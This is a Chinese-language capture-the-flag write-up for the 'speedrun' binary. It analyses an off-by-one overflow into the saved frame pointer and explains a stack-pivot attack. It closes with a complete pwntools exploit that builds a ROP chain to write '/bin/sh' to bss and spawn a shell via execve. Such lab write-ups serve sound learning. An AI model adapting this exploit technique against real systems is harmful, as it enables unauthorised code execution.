相关资源

文件分析

1
2
3
4
5
6
$ checksec speedrun 
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 say() {
char buf[10]; // [rsp+2h] [rbp-Eh] BYREF
int len; // [rsp+Ch] [rbp-4h]

IO_puts("how much do you have to say?");
_libc_read(0, buf, 9uLL);
buf[9] = 0;
len = atoi(buf);
if ( len <= 0 )
return IO_puts("That's not much to say.");
if ( len <= 257 )
return read_len((unsigned int)len);
return IO_puts("That's too much to say!.");
}

如果大小在1-257之内 则调用read_len

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall read_len(int a1) {
char buf[256]; // [rsp+10h] [rbp-100h] BYREF

buf[0] = 0;
IO_puts("Ok, what do you have to say for yourself?");
_libc_read(0, buf, a1);
return printf(
(unsigned int)"Interesting thought \"%s\", I'll take it into consideration.\n",
(unsigned int)buf);
}

buf长为256 明显可以溢出一个字节到old_rbp 从而利用stack pivot

攻击方法

old_rbp最低位更改为0x00 进而ret后会跳转到0x08来执行 gdb调试分析发现多数情况下都在buf内部 也就是可以在buf内布置ROP然后跳转执行

但因为没法泄露 不知道具体的写入位置 可以通过多个ret来到达同样的地址执行ROP

因此也不是每次都能成功 有一定概率 依赖于栈顶地址

还有就是没有现成的/bin/sh 需要自己调用read函数写到bss段上然后利用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='amd64', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./speedrun")
belf = ELF("./speedrun")


def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

gscript = '''
set env DEBUG=1
b * 0x0000000000400BB4
# b * 0x0000000000400C7A
''' + 'c\n' * 1
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

main = 0x400C46
bss = 0x6BB300
syscall = 0x000000000040132c

rax_ret = 0x0000000000415f04
rdi_ret = 0x0000000000400686
rsi_ret = 0x0000000000410a93
rdx_ret = 0x000000000044a155
rdx_rsi_ret = 0x000000000044c6d9
ret = 0x0000000000400416
read = 0x000000000044A140

sla(b'say?', b'257')
payload = p64(ret) * 13
payload += p64(rdi_ret) + p64(0)
payload += p64(rdx_rsi_ret) + p64(8) + p64(bss)
payload += p64(read)

payload += p64(rax_ret) + p64(0x3b)
payload += p64(rdi_ret) + p64(bss) + p64(rdx_rsi_ret) + p64(0) * 2
payload += p64(syscall)

sa(b'yourself?', payload.ljust(257, b'\x00'))
sl(b'/bin/sh\x00')

pi()
pause()
⬆︎TOP